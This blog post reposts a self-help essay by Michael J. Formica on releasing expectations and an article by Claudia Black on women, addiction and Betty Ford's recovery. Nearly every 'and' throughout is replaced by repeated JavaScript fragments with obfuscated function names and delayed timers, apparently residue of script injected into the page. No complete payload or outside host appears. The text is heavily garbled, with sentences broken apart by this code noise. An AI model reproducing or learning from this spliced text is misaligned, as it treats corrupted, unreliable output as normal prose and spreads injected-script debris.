15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and enhance both our lives andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and our experience.

Empty your cup

In the Zen tradition there is a concept called shoshin, or "beginner's mind". It suggests that we should come to every situation with an empty cup, ready to receive. If our cup is full, then we have no place to put what is coming to us. Emptying our cup, we release our expectation andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and our sense of "knowing" allowing us to see what it is directly in front of us.  This sensibility helps us remove our tendency to interject our ego into a situation, andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and also deflects our tendency to interject control.

Seeing with a child's eyes

In seeing with a child's eyes, every situation will always appear new to us.  If every situation is new, then, by definition, we can hold no expectation. We don't "know" what's going to happen; we can only wait andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and see. If we enter into a situation "knowing", as it were, then we lose the opportunity to experience the nuances andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and differences that make that experience unique, even if that experience is seemingly identical to one that we've had before.

Be present

We hear this all the time, but, in this context if we harbor an expectation, then we are not connected to what's happening around us. Walking in with a full cup andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and a sensibility of "knowing", we are not present in the moment, we are only present in our past.  Being present connects us to our experience in such a way that we don't end up interfering with ourselves or getting in our own way. We are open to the newness of the experience, so it becomes fresh andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and novel.

Check your premise

Checking your premise means taking a hard look at whether or not what you believe actually matches with reality.  Neurosis is often touted as doing something over andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and over again expecting it to change.  The belief system version of that is a sort of frozen world view – "That's just how it is" or "That's just the way I am".  Taking a step back from a consistently disappointing experience andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and looking at whether or not we're starting from a realistic place will help us adjust our perspective in such a way so as to more accurately match reality andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and get a potentially different outcome.

Discard your fixed fantasies

Many times, the people whom we encounter in our lives tell us stories andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and we fervently cling to them. These are often cultural notions like, "If I go to an Ivy League college I'm going to get a really good job andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and be wealthy" or "If I marry the right kind of wo/man, I am going to be a success". Other ideas we hold dear are simply woven into the fabric of culture andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and society like, "A woman's place is in the home" or "Men are the breadwinners".  Discarding these sorts of societal fixed fantasies is something that is very important for us in terms of learning to be flexible within the context of a changing culture.  If, say, we bring to the table of the mores with which our parents raised us andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and try to apply them to a teenager in the 21^st century, it's simply not going to work because those mores – andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and the expectations that spawned them — are trapped in the time they were applicable.

This simple collection of perspectives can help us to gain freedom from the trap of expectation that we set upon ourselves. Being open to experience, seeing things with fresh eyes, staying connected, being realistic andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and letting go of old beliefs lead us to a place where, rather than finding ourselves like a gnarled, old oak standom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}anding forth against a gathering storm, we can bend like a reed in the wind.

© 2011 Michael J. Formica, All Rights Reserved

This year I was able to be in the Audience for Claudia Black's presentation at the WAAT Conference. When I stumbled upon this article, I had to post andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and share!

The Many Faces of Addiction

The journey to healing andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and recovery

by Claudia Black, M.S.W., Ph.D.

Addiction is a terminal illness, people literally die from it.

In 1978, a year after she left the White House andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and at the time of her 60^th birthday, the wife of President Gerald Ford, Betty Ford, found that her drinking andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and use of prescription pain medications had drastically increased.  Soon after that she was the recipient of a newly recognized therapeutic process called 'intervention.'   Her family united from a position of love to confront her about her drinking andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and drug use andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and insist she seek treatment. After an initially angry response, she admitted herself to the Long Beach Naval Hospital's drug andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and alcohol rehabilitation program. There the former First Lady found herself not only having to share a room with other women, but perform humble tasks like cleaning restrooms andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and participating in emotionally revelatory therapy sessions with five other women patients there at the same time. Rather than seek to obfuscate the true reasons for her hospitalization or to treat it with shame, Betty Ford decided to fully disclose the details of her addiction andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and treatment.

Feeling passionate about the possibilities of recovery, she opened the Betty Ford Center in Palm Springs, California. The center was dedicated on October 3, 1982 andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and today offers gender specific treatment to women. This was not available to women just a few years previously.  Betty told her story in the book A Glad Awakening, Doubleday 1987, andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and was a true pioneer in advocating for women andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and the possibility of recovery.

 Today we know that:

• Female substance abusers metabolize alcohol less efficiently than men, a difference that leads to higher blood alcohol concentrations over a shorter period of time. 
• Pound for pound women get drunk or high faster than men as each drink hits a woman like a double. The female body contains less water andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and more fatty tissue which increases alcohol absorption. Women have a lower activity level of an enzyme called alcohol dehydrogenase which breaks down alcohol.
• Women move through the progression more quickly having a more rapid development of dependence.
• Women experience adverse physiological effects of alcohol on the liver, cardiovascular andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and gastrointestinal systems more quickly than men. This is called telescoping. 
• Women become addicted to narcotics faster than men.
• Women are more likely than males to be hospitalized due to non-medical use of prescription andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and over the counter medications.
• Women are less likely to ask for andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and/or receive help.
• Women are more apt to die at younger ages than men who are addicted.

Addiction is a terminal illness; people literally die from it, be it from overdoses, toxicity, or accidents. But prior to the physical death is the emotional death, the relational deaths, the spiritual deaths. Yet I know of no other terminal illness more treatable than addiction.  

Betty Ford's life was celebrated just a few weeks ago as she was laid to rest at the age of 92. Her recovery is a major legacy that will continue to impact both women andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and men.

It is with great sadness that the public is quickly confronted with the fact that many who are addicted will die before they can embrace recovery as we just saw with Amy Winehouse, the well known English singer/songwriter dead at only 27.  As I write this, others less publicly known, are also dying daily of this horrific disease of addiction.

Don't stay silent – let those you know who are in trouble that while you love them you cannot condone, or in any way support their addictive behavior. You will support them in recovery but not in their disease.